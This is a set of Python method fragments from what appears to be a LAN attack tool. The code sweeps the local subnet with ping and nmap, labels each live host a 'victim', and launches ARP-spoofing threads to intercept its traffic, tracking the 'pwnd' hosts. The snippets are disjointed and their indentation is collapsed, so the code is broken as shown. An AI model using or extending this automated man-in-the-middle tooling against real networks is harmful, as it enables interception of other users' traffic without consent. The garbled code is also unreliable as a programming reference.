def run(self): gateway, iface = setDefaultGatewayAndInterface() parts = gateway.split('.') network = parts[0]+'.'+parts[1]+'.'+parts[2]+'.' newPing = Ping(network) hostsAndStatus = newPing.findHosts() for hosts in hostsAndStatus: if hosts[1] == 'Alive': if hosts[0] not in self.pwndHosts: self.queue.put('Found a new victim at ' + hosts[0]) newArpSpoofThread = arpSpoof(hosts[0]) newArpSpoofThread.start() self.threadList.append(newArpSpoofThread) self.pwndHosts.append(hosts[0]) self.queue.put('Now ARP spoofing ' + hosts[0]) else: self.queue.put('Tried to re-ARP spoof ' + hosts[0]) elif hosts[1] == 'Dead': self.queue.put('Host at ' + hosts[0] + ' is now offline.') for threads in self.threadList: if threads.victim == hosts[0]: threads.stop() self.pwndHosts.remove(hosts[0]) self.threadList.remove(threads) self.queue.put('Stopped ARP spoofing ' + hosts[0])
def doScan(self): """ This runs an nmap scan of the current subnet and returns a list of hosts that nmap found as 'up'. Currently this blocks the GUI, but since you can't do anything without some hosts to pwn it isn't that big a deal. """ self.router = nmapRunner.setDefaultGatewayAndInterface()[0] # we just need the first part of the tuple which is the router hostList = nmapRunner.getHosts() for hosts in hostList: self.queue.put(hosts)
def __init__(self, subnet, timeout=100, packet_size=55, own_id=None): self.subnet = subnet self.timeout = timeout self.packet_size = packet_size self.foundHosts = [] self.me = getOwnIP() self.gateway, self.iface = setDefaultGatewayAndInterface() if own_id is None: self.own_id = os.getpid() & 0xFFFF else: self.own_id = own_id self.seq_number = 0